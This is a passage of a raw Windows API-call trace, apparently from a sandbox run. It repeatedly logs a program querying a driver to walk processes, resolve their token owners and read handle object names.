[0105.731] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0105.731] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.731] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.731] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.731] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.731] PsAcquireProcessExitSynchronization () returned 0x0 [0105.731] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff88004f095d0) [0105.731] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.731] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.731] PsReleaseProcessExitSynchronization () returned 0x2 [0105.731] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0105.731] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.731] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.731] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.731] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.731] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0105.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.732] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0105.732] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.732] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0105.732] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.732] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.732] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.732] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.732] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.733] CloseHandle (hObject=0xc8) returned 1 [0105.733] CloseHandle (hObject=0xc0) returned 1 [0105.733] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.733] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.733] PsAcquireProcessExitSynchronization () returned 0x0 [0105.733] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff88004f095d0) [0105.733] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0105.734] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.734] PsReleaseProcessExitSynchronization () returned 0x2 [0105.734] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0105.734] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.734] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0105.734] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.734] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.734] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0105.734] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.734] PsAcquireProcessExitSynchronization () returned 0x0 [0105.734] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff88004f095d0) [0105.734] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0105.734] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.734] PsReleaseProcessExitSynchronization () returned 0x2 [0105.734] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0105.734] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.734] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0105.734] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.734] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.734] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.734] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.734] PsAcquireProcessExitSynchronization () returned 0x0 [0105.734] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff88004f095d0) [0105.734] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.734] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.734] PsReleaseProcessExitSynchronization () returned 0x2 [0105.734] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0105.734] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.734] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.734] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.735] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.735] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0105.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.735] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0105.735] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.735] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0105.735] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.735] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.735] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.735] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.735] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.736] CloseHandle (hObject=0xc8) returned 1 [0105.736] CloseHandle (hObject=0xc0) returned 1 [0105.736] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.736] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.736] PsAcquireProcessExitSynchronization () returned 0x0 [0105.736] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff88004f095d0) [0105.737] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0105.737] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.737] PsReleaseProcessExitSynchronization () returned 0x2 [0105.737] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0105.737] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.737] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0105.737] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.737] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.737] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0105.737] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.737] PsAcquireProcessExitSynchronization () returned 0x0 [0105.737] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff88004f095d0) [0105.737] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0105.737] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.737] PsReleaseProcessExitSynchronization () returned 0x2 [0105.737] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0105.737] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.737] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0105.737] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.737] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.737] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.737] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.737] PsAcquireProcessExitSynchronization () returned 0x0 [0105.737] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff88004f095d0) [0105.737] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.738] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.738] PsReleaseProcessExitSynchronization () returned 0x2 [0105.738] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0105.738] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.738] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.738] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.738] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.738] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0105.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.738] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800205b100, HandleInformation=0x0) returned 0x0 [0105.738] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.738] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0105.738] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.738] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.738] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.738] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.738] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.739] CloseHandle (hObject=0xc8) returned 1 [0105.739] CloseHandle (hObject=0xc0) returned 1 [0105.739] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.740] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.740] PsAcquireProcessExitSynchronization () returned 0x0 [0105.740] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff88004f095d0) [0105.740] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0105.740] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.740] PsReleaseProcessExitSynchronization () returned 0x2 [0105.740] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0105.740] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.740] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0105.740] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.740] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.740] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0105.740] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.740] PsAcquireProcessExitSynchronization () returned 0x0 [0105.740] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff88004f095d0) [0105.740] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0105.740] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.740] PsReleaseProcessExitSynchronization () returned 0x2 [0105.740] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0105.740] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.740] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0105.740] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.740] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.740] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.740] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.740] PsAcquireProcessExitSynchronization () returned 0x0 [0105.740] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff88004f095d0) [0105.741] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.741] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.741] PsReleaseProcessExitSynchronization () returned 0x2 [0105.741] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0105.741] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.741] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.741] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.741] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.741] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0105.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.741] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0105.741] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.741] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0105.741] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.741] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.741] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.741] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.741] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.742] CloseHandle (hObject=0xc8) returned 1 [0105.742] CloseHandle (hObject=0xc0) returned 1 [0105.742] RtlAllocateHeap (HeapHandle=0x180000, 